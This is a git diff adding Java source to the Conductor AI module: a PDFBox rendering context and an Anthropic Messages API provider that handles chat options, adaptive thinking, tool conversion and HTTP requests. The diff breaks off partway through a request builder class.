+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.pdf; + +import java.io.IOException; + +import org.apache.pdfbox.pdmodel.PDDocument; +import org.apache.pdfbox.pdmodel.PDPage; +import org.apache.pdfbox.pdmodel.PDPageContentStream; +import org.apache.pdfbox.pdmodel.common.PDRectangle; +import org.apache.pdfbox.pdmodel.font.PDType1Font; +import org.apache.pdfbox.pdmodel.font.Standard14Fonts; + +import lombok.Getter; +import lombok.Setter; + +/** + * Mutable state object that tracks the current rendering position, page, fonts, and layout + * configuration while walking the markdown AST and rendering to PDF via PDFBox. + */ +@Getter +public class PdfRenderContext { + + private final PDDocument document; + private final float pageWidth; + private final float pageHeight; + private final float marginTop; + private final float marginRight; + private final float marginBottom; + private final float marginLeft; + + // Fonts + private final PDType1Font regularFont; + private final PDType1Font boldFont; + private final PDType1Font italicFont; + private final PDType1Font boldItalicFont; + private final PDType1Font monoFont; + private final PDType1Font monoBoldFont; + + private final float baseFontSize; + private final float lineSpacing; + + // Mutable rendering state + @Setter private PDPageContentStream contentStream; + @Setter private float cursorY; + @Setter private int listIndentLevel; + @Setter private boolean inBlockquote; + @Setter private boolean compact; + + public PdfRenderContext( + PDDocument document, + PDRectangle pageSize, + float marginTop, + float marginRight, + float marginBottom, + float marginLeft, + float baseFontSize, + boolean compact) { + this.document = document; + this.pageWidth = pageSize.getWidth(); + this.pageHeight = pageSize.getHeight(); + this.marginTop = marginTop; + this.marginRight = marginRight; + this.marginBottom = marginBottom; + this.marginLeft = marginLeft; + this.baseFontSize = baseFontSize; + this.lineSpacing = compact ? 1.3f : 1.5f; + this.compact = compact; + + // Standard 14 fonts - always available, no embedding needed + this.regularFont = new PDType1Font(Standard14Fonts.FontName.HELVETICA); + this.boldFont = new PDType1Font(Standard14Fonts.FontName.HELVETICA_BOLD); + this.italicFont = new PDType1Font(Standard14Fonts.FontName.HELVETICA_OBLIQUE); + this.boldItalicFont = new PDType1Font(Standard14Fonts.FontName.HELVETICA_BOLD_OBLIQUE); + this.monoFont = new PDType1Font(Standard14Fonts.FontName.COURIER); + this.monoBoldFont = new PDType1Font(Standard14Fonts.FontName.COURIER_BOLD); + + this.listIndentLevel = 0; + this.inBlockquote = false; + } + + /** Returns the usable content width (page width minus left and right margins and indents). */ + public float getContentWidth() { + return pageWidth - marginLeft - marginRight - getIndentOffset(); + } + + /** Returns the left X coordinate accounting for margins, indentation, and blockquote. */ + public float getLeftX() { + return marginLeft + getIndentOffset(); + } + + /** Returns the right X boundary. */ + public float getRightX() { + return pageWidth - marginRight; + } + + /** Calculates total indent offset from list nesting and blockquote state. */ + private float getIndentOffset() { + float indent = listIndentLevel * 20f; + if (inBlockquote) { + indent += 15f; + } + return indent; + } + + /** Returns the line height for the given font size. */ + public float getLineHeight(float fontSize) { + return fontSize * lineSpacing; + } + + /** + * Ensures there is enough vertical space on the current page for the given height. If not, + * creates a new page. + * + * @param height the required vertical space in points + */ + public void ensureSpace(float height) throws IOException { + if (cursorY - height < marginBottom) { + newPage(); + } + } + + /** Closes the current content stream, adds a new page, and resets the cursor. */ + public void newPage() throws IOException { + if (contentStream != null) { + contentStream.close(); + } + PDPage page = new PDPage(new PDRectangle(pageWidth, pageHeight)); + document.addPage(page); + contentStream = new PDPageContentStream(document, page); + cursorY = pageHeight - marginTop; + } + + /** Advances the cursor down by the specified amount. */ + public void advanceCursor(float amount) { + cursorY -= amount; + } + + /** + * Calculates the width of a text string in the given font and size. + * + * @param text the text to measure + * @param font the font to use + * @param fontSize the font size in points + * @return the width in points + */ + public float getTextWidth(String text, PDType1Font font, float fontSize) throws IOException { + return font.getStringWidth(text) / 1000f * fontSize; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/Anthropic.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/Anthropic.java new file mode 100644 index 0000000..6ad0175 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/Anthropic.java @@ -0,0 +1,149 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.anthropic; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ToolSpec; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.Tool; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; + +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; + +@Slf4j +public class Anthropic implements AIModel { + + public static final String NAME = "anthropic"; + public static final int DEFAULT_MAX_TOKENS = 8192; + private final AnthropicConfiguration config; + + private final AnthropicMessagesApi messagesApi; + private final AnthropicChatModel chatModel; + + public Anthropic(AnthropicConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + @SuppressWarnings("unchecked") + public Anthropic(AnthropicConfiguration config, OkHttpClient httpClient) { + this.config = config; + this.messagesApi = + new AnthropicMessagesApi( + httpClient, config.getApiKey(), config.getBaseURL(), config.getVersion()); + this.chatModel = new AnthropicChatModel(messagesApi); + } + + @Override + public String getModelProvider() { + return NAME; + } + + /** + * Anthropic Claude Sonnet 4.6+ rejects requests whose final message has the {@code assistant} + * role with {@code 400 "This model does not support assistant message prefill. The conversation + * must end with a user message."} Earlier Claude models (Sonnet 4.5 and below) silently + * accepted prefill, which is the only reason {@link + * org.conductoross.conductor.ai.tasks.mapper.ChatCompleteTaskMapper}'s loop-history + * auto-injection ever worked on Anthropic — the injected messages arrived as accidental + * prefill. We declare {@code false} here so the mapper suppresses that injection across all + * Anthropic models; workflows that need prior-iteration state on an Anthropic loop should + * template it into the user message via {@code ${...output.result}}. + */ + @Override + public boolean supportsAssistantPrefill() { + return false; + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + throw new UnsupportedOperationException("Not supported"); + } + + @Override + public ChatModel getChatModel() { + return this.chatModel; + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + List tools = convertTools(input); + Double temperature = input.getTemperature(); + Integer thinkingBudget = null; + + if (input.getThinkingTokenLimit() > 0) { + thinkingBudget = input.getThinkingTokenLimit(); + temperature = 1.0; // Thinking mode requires temperature=1 + } + + Integer maxTokens = input.getMaxTokens(); + if (maxTokens == null || maxTokens <= 0) { + maxTokens = DEFAULT_MAX_TOKENS; + } + + return AnthropicChatOptions.builder() + .model(input.getModel()) + .maxTokens(maxTokens) + .temperature(temperature) + .topP(input.getTopP()) + .topK(input.getTopK()) + .stopSequences(input.getStopWords()) + .thinkingBudgetTokens(thinkingBudget) + .reasoningEffort(input.getReasoningEffort()) + .reasoningSummary(input.getReasoningSummary()) + .tools(tools.isEmpty() ? null : tools) + .build(); + } + + @Override + public ImageModel getImageModel() { + throw new UnsupportedOperationException("Image generation not supported by the model yet"); + } + + // -- Helpers -- + + @SuppressWarnings("unchecked") + private List convertTools(ChatCompletion input) { + List tools = new ArrayList<>(); + + // Built-in tools + if (input.isWebSearch()) { + tools.add(Tool.webSearch()); + } + if (input.isCodeInterpreter()) { + tools.add(Tool.codeExecution()); + } + + // Convert Conductor ToolSpecs to Anthropic function tools + if (input.getTools() != null) { + for (ToolSpec toolSpec : input.getTools()) { + Map schema = + toolSpec.getInputSchema() != null + ? toolSpec.getInputSchema() + : Map.of("type", "object"); + tools.add(Tool.function(toolSpec.getName(), toolSpec.getDescription(), schema)); + } + } + + return tools; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModel.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModel.java new file mode 100644 index 0000000..737dd78 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModel.java @@ -0,0 +1,383 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.anthropic; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.ContentBlock; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.Message; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.MessagesRequest; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.MessagesResponse; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.OutputConfig; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.ResponseContentBlock; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.ResponseUsage; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.Thinking; +import org.springframework.ai.chat.messages.AssistantMessage; +import org.springframework.ai.chat.messages.MessageType; +import org.springframework.ai.chat.messages.SystemMessage; +import org.springframework.ai.chat.messages.ToolResponseMessage; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.metadata.ChatGenerationMetadata; +import org.springframework.ai.chat.metadata.ChatResponseMetadata; +import org.springframework.ai.chat.metadata.DefaultUsage; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.model.Generation; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.model.tool.ToolCallingChatOptions; + +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; + +/** + * Spring AI {@link ChatModel} implementation backed by the Anthropic Messages API via OkHttp. + * + *

Converts Spring AI {@link Prompt} messages to Anthropic Messages API format, calls the API, + * and converts the response back to Spring AI's {@link ChatResponse}. + */ +@Slf4j +public class AnthropicChatModel implements ChatModel { + + private static final int DEFAULT_MAX_TOKENS = 8192; + + private final AnthropicMessagesApi messagesApi; + private final ObjectMapper objectMapper = new ObjectMapper(); + + public AnthropicChatModel(AnthropicMessagesApi messagesApi) { + this.messagesApi = messagesApi; + } + + @Override + public ChatResponse call(Prompt prompt) { + try { + MessagesRequest request = buildRequest(prompt); + MessagesResponse result = messagesApi.createMessage(request); + return toSpringChatResponse(result, prompt.getOptions()); + } catch (IOException e) { + throw new RuntimeException("Anthropic Messages API call failed: " + e.getMessage(), e); + } + } + + private MessagesRequest buildRequest(Prompt prompt) { + List springMessages = + prompt.getInstructions(); + ChatOptions options = prompt.getOptions(); + + // Extract system messages + String system = null; + List nonSystemMessages = new ArrayList<>(); + for (org.springframework.ai.chat.messages.Message msg : springMessages) { + if (msg.getMessageType() == MessageType.SYSTEM) { + String sysText = ((SystemMessage) msg).getText(); + system = system == null ? sysText : system + "\n" + sysText; + } else { + nonSystemMessages.add(msg); + } + } + + // Convert messages to Anthropic format + List messages = new ArrayList<>(); + for (org.springframework.ai.chat.messages.Message msg : nonSystemMessages) { + messages.addAll(convertMessage(msg)); + } + + // Extract options — Spring AI's ChatClient may merge AnthropicChatOptions with + // ToolCallingChatOptions (the model's default), producing a non-Anthropic type. + // We handle both cases and always guarantee max_tokens (required by Anthropic API). + AnthropicChatOptions opts = options instanceof AnthropicChatOptions aco ? aco : null; + + MessagesRequest.Builder builder = + MessagesRequest.builder().messages(messages).system(system); + + if (opts != null) { + Integer maxTokens = opts.getMaxTokens(); + builder.model(opts.getModel()) + .maxTokens(maxTokens != null && maxTokens > 0 ? maxTokens : DEFAULT_MAX_TOKENS) + .temperature(opts.getTemperature()) + .topP(opts.getTopP()) + .topK(opts.getTopK()) + .stopSequences(opts.getStopSequences()) + .tools(opts.getTools()); + + // Thinking + effort. Opus 4.7+, Fable 5, and Mythos reject the legacy + // ``thinking.type.enabled`` shape with HTTP 400 and require + // ``thinking.type.adaptive`` + ``output_config.effort`` instead. Opus 4.6 / Sonnet 4.6 + // accept both (enabled deprecated); 4.5-and-earlier and Haiku accept only enabled. + // See requiresAdaptiveThinking for the full matrix. + boolean adaptiveOnly = requiresAdaptiveThinking(opts.getModel()); + Integer budget = opts.getThinkingBudgetTokens(); + boolean wantsThinking = budget != null && budget > 0; + String effort = opts.getReasoningEffort(); + + if (adaptiveOnly) { + if (wantsThinking) { + builder.thinking(Thinking.adaptive()); + if (effort == null || effort.isBlank()) { + effort = budgetToEffort(budget); + } + } + } else if (wantsThinking) { + builder.thinking(Thinking.enabled(budget)); + } + + if (effort != null && !effort.isBlank()) { + builder.outputConfig(new OutputConfig(effort)); + } + + // Check if code_execution tool is present — requires beta header + if (opts.getTools() != null) { + boolean hasCodeExec = + opts.getTools().stream() + .anyMatch(t -> "code_execution_20250825".equals(t.type())); + if (hasCodeExec) { + builder.betaFeatures(List.of("code-execution-2025-08-25")); + } + } + } else if (options != null) { + Integer maxTokens = options.getMaxTokens(); + builder.model(options.getModel()) + .maxTokens(maxTokens != null && maxTokens > 0 ? maxTokens : DEFAULT_MAX_TOKENS) + .temperature(options.getTemperature()) + .topP(options.getTopP()) + .topK(options.getTopK()) + .stopSequences(options.getStopSequences()); + } else { + builder.maxTokens(DEFAULT_MAX_TOKENS); + } + + return builder.build(); + } + + @SuppressWarnings("unchecked") + private List convertMessage(org.springframework.ai.chat.messages.Message msg) { + List messages = new ArrayList<>(); + + switch (msg.getMessageType()) { + case USER -> { + UserMessage userMsg = (UserMessage) msg; + List media = userMsg.getMedia(); + if (media != null && !media.isEmpty()) { + // Multi-modal: text + image content blocks. Without this the + // image is silently dropped and the model never sees it. + List blocks = new ArrayList<>(); + if (userMsg.getText() != null && !userMsg.getText().isBlank()) { + blocks.add(ContentBlock.text(userMsg.getText())); + } + for (org.springframework.ai.content.Media m : media) { + String mediaType = + m.getMimeType() != null + ? m.getMimeType().toString() + : "application/octet-stream"; + // Conductor downloads media URLs to bytes upstream; encode + // to the base64 payload Anthropic's image source expects. + String base64 = + m.getData() instanceof byte[] bytes + ? java.util.Base64.getEncoder().encodeToString(bytes) + : m.getData().toString(); + blocks.add(ContentBlock.image(mediaType, base64)); + } + messages.add(Message.user(blocks)); + } else { + messages.add(Message.user(userMsg.getText())); + } + } + + case ASSISTANT -> { + AssistantMessage assistantMsg = (AssistantMessage) msg; + if (assistantMsg.hasToolCalls()) { + // Convert tool calls to content blocks + List blocks = new ArrayList<>(); + if (assistantMsg.getText() != null && !assistantMsg.getText().isBlank()) { + blocks.add(ContentBlock.text(assistantMsg.getText())); + } + for (AssistantMessage.ToolCall tc : assistantMsg.getToolCalls()) { + Object input; + try { + input = objectMapper.readValue(tc.arguments(), Map.class); + } catch (Exception e) { + input = Map.of(); + } + blocks.add(ContentBlock.toolUse(tc.id(), tc.name(), input)); + } + messages.add(Message.assistant(blocks)); + } else { + String text = assistantMsg.getText(); + if (text != null && !text.isBlank()) { + messages.add(Message.assistant(text)); + } + } + } + + case TOOL -> { + ToolResponseMessage toolMsg = (ToolResponseMessage) msg; + List blocks = new ArrayList<>(); + for (ToolResponseMessage.ToolResponse tr : toolMsg.getResponses()) { + blocks.add(ContentBlock.toolResult(tr.id(), tr.responseData())); + } + messages.add(new Message("user", blocks)); + } + + default -> log.warn("Unsupported message type: {}", msg.getMessageType()); + } + + return messages; + } + + private ChatResponse toSpringChatResponse(MessagesResponse result, ChatOptions options) { + List generations = new ArrayList<>(); + List toolCalls = new ArrayList<>(); + StringBuilder textBuilder = new StringBuilder(); + StringBuilder reasoningBuilder = new StringBuilder(); + String finishReason = mapStopReason(result.stopReason()); + boolean surfaceReasoning = + options instanceof AnthropicChatOptions aco + && aco.getReasoningSummary() != null + && !aco.getReasoningSummary().isBlank(); + + if (result.content() != null) { + for (ResponseContentBlock block : result.content()) { + switch (block.type()) { + case "text" -> { + if (block.text() != null) { + if (!textBuilder.isEmpty()) { + textBuilder.append("\n"); + } + textBuilder.append(block.text()); + } + } + case "tool_use" -> { + String argsJson; + try { + argsJson = objectMapper.writeValueAsString(block.input()); + } catch (Exception e) { + argsJson = "{}"; + } + toolCalls.add( + new AssistantMessage.ToolCall( + block.id(), "function", block.name(), argsJson)); + finishReason = "TOOL_CALLS"; + } + case "thinking" -> { + // Anthropic thinking blocks carry the model's chain-of-thought + // when extended thinking is enabled (via thinking_budget_tokens). + // We surface them on ChatResponseMetadata["reasoning"] only when + // the caller opted in via reasoningSummary, matching the gate + // we use for OpenAI and Gemini. + if (surfaceReasoning + && block.thinking() != null + && !block.thinking().isBlank()) { + if (!reasoningBuilder.isEmpty()) { + reasoningBuilder.append("\n\n"); + } + reasoningBuilder.append(block.thinking()); + } + } + default -> { + // web_search_tool_result, code_execution_tool_result, etc. + // Server-side tool results — the text output is already in text blocks + log.debug("Ignoring content block type: {}", block.type()); + } + } + } + } + + // Build a single Generation with text + any tool calls + AssistantMessage assistantMessage; + if (!toolCalls.isEmpty()) { + assistantMessage = + AssistantMessage.builder() + .content(textBuilder.toString()) + .toolCalls(toolCalls) + .build(); + } else { + assistantMessage = new AssistantMessage(textBuilder.toString()); + } + + ChatGenerationMetadata genMeta = + ChatGenerationMetadata.builder().finishReason(finishReason).build(); + generations.add(new Generation(assistantMessage, genMeta)); + + // Build usage metadata + ResponseUsage usage = result.usage(); + int inputTok = usage != null && usage.inputTokens() != null ? usage.inputTokens() : 0; + int outputTok = usage != null && usage.outputTokens() != null ? usage.outputTokens() : 0; + DefaultUsage springUsage = new DefaultUsage(inputTok, outputTok, inputTok + outputTok); + + ChatResponseMetadata.Builder metaBuilder = + ChatResponseMetadata.builder() + .id(result.id()) + .model(result.model()) + .usage(springUsage); + + // Anthropic does not break out a separate reasoning_tokens counter — extended + // thinking is billed under output_tokens — so we only surface the text blob. + if (!reasoningBuilder.isEmpty()) { + metaBuilder.keyValue("reasoning", reasoningBuilder.toString()); + } + + return new ChatResponse(generations, metaBuilder.build()); + } + + /** + * Model lines that use adaptive thinking ({@code thinking.type:"adaptive"} + {@code + * output_config.effort}) rather than the legacy {@code thinking.type:"enabled"} + {@code + * budget_tokens} shape. Matched as a substring on the line name -- no version digits -- so new + * releases on these lines work without a code change. Per the adaptive-thinking docs (checked + * 2026-06): the Opus line is adaptive from 4.6 onward (4.7+ reject enabled outright), and Fable + * / Mythos are adaptive-only. Sonnet and Haiku still use enabled, so they are absent. + * (Trade-off: legacy Opus 4.5-and-earlier -- 4.1/4.0 already retiring -- also match here and + * would 400 on a thinking request; acceptable as those are deprecated.) + */ + private static final List ADAPTIVE_LINES = List.of("opus", "fable", "mythos"); + + /** True if {@code model} uses adaptive thinking rather than the legacy enabled shape. */ + static boolean requiresAdaptiveThinking(String model) { + if (model == null) return false; + String m = model.toLowerCase(); + return ADAPTIVE_LINES.stream().anyMatch(m::contains); + } + + /** + * Map a legacy ``thinkingTokenLimit`` budget onto an adaptive ``effort`` tier. Used only when a + * caller specified a budget for a model that no longer accepts ``budget_tokens`` (Opus 4.7) and + * didn't independently set ``reasoningEffort``. Thresholds roughly track Anthropic's published + * guidance: bigger budgets → more thorough thinking. + */ + static String budgetToEffort(int budget) { + if (budget < 4_000) return "low"; + if (budget < 16_000) return "medium"; + if (budget < 32_000) return "high"; + return "xhigh"; + } + + private String mapStopReason(String stopReason) { + if (stopReason == null) return "STOP"; + return switch (stopReason) { + case "end_turn" -> "STOP"; + case "tool_use" -> "TOOL_CALLS"; + case "max_tokens" -> "MAX_TOKENS"; + case "stop_sequence" -> "STOP_SEQUENCE"; + default -> stopReason.toUpperCase(); + }; + } + + @Override + public ChatOptions getDefaultOptions() { + return ToolCallingChatOptions.builder().build(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatOptions.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatOptions.java new file mode 100644 index 0000000..995b3fe --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatOptions.java @@ -0,0 +1,76 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.anthropic; + +import java.util.List; + +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi; +import org.springframework.ai.chat.prompt.ChatOptions; + +import lombok.Builder; +import lombok.Data; + +/** + * Chat options for the Anthropic Messages API. Carries both standard ChatOptions fields and + * Anthropic-specific fields (thinking, built-in tools, etc.). + */ +@Data +@Builder +public class AnthropicChatOptions implements ChatOptions { + + private String model; + private Double temperature; + private Double topP; + private Integer topK; + private Integer maxTokens; + private List stopSequences; + + // Anthropic-specific + private Integer thinkingBudgetTokens; + // One of "low", "medium", "high", "xhigh", "max". Serialized as + // ``output_config.effort`` on the request. Required (alongside adaptive thinking) on + // Opus 4.7, which rejects ``thinking.type.enabled``. Optional on older models. + private String reasoningEffort; + // Any non-blank value gates surfacing the model's thinking blocks into + // ChatResponseMetadata["reasoning"]. The thinking budget itself is set + // via ``thinkingBudgetTokens``; this flag only controls response-side + // exposure so callers can opt in alongside OpenAI/Gemini parity. + private String reasoningSummary; + private List tools; + + @Override + public Double getFrequencyPenalty() { + return null; // Not supported by Anthropic + } + + @Override + public Double getPresencePenalty() { + return null; // Not supported by Anthropic + } + + @Override + public ChatOptions copy() { + return AnthropicChatOptions.builder() + .model(model) + .temperature(temperature) + .topP(topP) + .topK(topK) + .maxTokens(maxTokens) + .stopSequences(stopSequences) + .thinkingBudgetTokens(thinkingBudgetTokens) + .reasoningEffort(reasoningEffort) + .reasoningSummary(reasoningSummary) + .tools(tools) + .build(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicConfiguration.java new file mode 100644 index 0000000..07c453d --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicConfiguration.java @@ -0,0 +1,75 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.anthropic; + +import java.time.Duration; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +@Data +@Component +@ConfigurationProperties(prefix = "conductor.ai.anthropic") +@NoArgsConstructor +public class AnthropicConfiguration implements ModelConfiguration { + + private String apiKey; + + private String baseURL; + + private String version; + + private String betaVersion; + + private String completionsPath; + + private Duration timeout = Duration.ofSeconds(600); + + private OkHttpClient httpClient; + + public AnthropicConfiguration( + String apiKey, + String baseURL, + String version, + String betaVersion, + String completionsPath, + OkHttpClient httpClient) { + this.apiKey = apiKey; + this.baseURL = baseURL; + this.version = version; + this.betaVersion = betaVersion; + this.completionsPath = completionsPath; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + public String getBaseURL() { + return baseURL == null ? "https://api.anthropic.com" : baseURL; + } + + @Override + public Anthropic get() { + return new Anthropic(this, httpClient); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/api/AnthropicMessagesApi.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/api/AnthropicMessagesApi.java new file mode 100644 index 0000000..33a8cec --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/anthropic/api/AnthropicMessagesApi.java @@ -0,0 +1,413 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.anthropic.api; + +import java.io.IOException; +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; +import okhttp3.MediaType; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; +import okhttp3.ResponseBody; + +/** + * OkHttp REST client for the Anthropic Messages API. + * + *

Endpoint: POST /v1/messages + * + * @see Anthropic Messages API + */ +@Slf4j +public class AnthropicMessagesApi { + + private static final MediaType JSON = MediaType.parse("application/json"); + private static final String DEFAULT_VERSION = "2023-06-01"; + + private final String baseUrl; + private final String apiKey; + private final String anthropicVersion; + private final OkHttpClient httpClient; + private final ObjectMapper objectMapper; + + public AnthropicMessagesApi(OkHttpClient httpClient, String apiKey, String baseUrl) { + this(httpClient, apiKey, baseUrl, null); + } + + public AnthropicMessagesApi( + OkHttpClient httpClient, String apiKey, String baseUrl, String anthropicVersion) { + this.baseUrl = baseUrl != null ? baseUrl : "https://api.anthropic.com"; + this.apiKey = apiKey; + this.anthropicVersion = anthropicVersion != null ? anthropicVersion : DEFAULT_VERSION; + this.httpClient = httpClient; + this.objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + /** + * Create a message via POST /v1/messages. + * + * @param request The message creation request + * @return The API response + */ + public MessagesResponse createMessage(MessagesRequest request) throws IOException { + String jsonBody = objectMapper.writeValueAsString(request); + log.debug("Anthropic Messages API request: {}", jsonBody); + + Request.Builder httpBuilder = + new Request.Builder() + .url(baseUrl + "/v1/messages") + .header("x-api-key", apiKey) + .header("anthropic-version", anthropicVersion) + .header("Content-Type", "application/json") + .post(RequestBody.create(jsonBody, JSON)); + + // Add beta header if request has beta features + if (request.betaFeatures() != null && !request.betaFeatures().isEmpty()) { + httpBuilder.header("anthropic-beta", String.join(",", request.betaFeatures())); + } + + try (Response response = httpClient.newCall(httpBuilder.build()).execute()) { + String responseBody = readBody(response); + if (!response.isSuccessful()) { + // Newer Anthropic models deprecate temperature — retry once without it. + if (response.code() == 400 + && responseBody.contains("temperature") + && request.temperature() != null) { + return createMessage(request.withoutTemperature()); + } + throw new IOException( + "Anthropic Messages API failed with status %d: %s" + .formatted(response.code(), responseBody)); + } + log.debug("Anthropic Messages API response: {}", responseBody); + return objectMapper.readValue(responseBody, MessagesResponse.class); + } + } + + private String readBody(Response response) throws IOException { + ResponseBody body = response.body(); + return body != null ? body.string() : ""; + } + + // -- Request DTOs -- + + @JsonInclude(JsonInclude.Include.NON_NULL) + public record MessagesRequest( + String model, + @JsonProperty("max_tokens") Integer maxTokens, + List messages, + String system, + Double temperature, + @JsonProperty("top_p") Double topP, + @JsonProperty("top_k") Integer topK, + @JsonProperty("stop_sequences") List stopSequences, + List tools, + Thinking thinking, + @JsonProperty("output_config") OutputConfig outputConfig, + // Not serialized — used to set the anthropic-beta HTTP header + @JsonIgnoreProperties @JsonProperty(access = JsonProperty.Access.WRITE_ONLY) + List betaFeatures) { + + public static Builder builder() { + return new Builder(); + } + + /** Returns a copy of this request with temperature removed. */ + public MessagesRequest withoutTemperature() { + return new MessagesRequest( + model, + maxTokens, + messages, + system, + null, + topP, + topK, + stopSequences, + tools, + thinking, + outputConfig, + betaFeatures); + } + + public static class Builder { + private String model; + private Integer maxTokens; + private List messages; + private String system; + private Double temperature; + private Double topP; + private Integer topK; + private List stopSequences; + private List tools; + private Thinking thinking; + private OutputConfig outputConfig; + private List 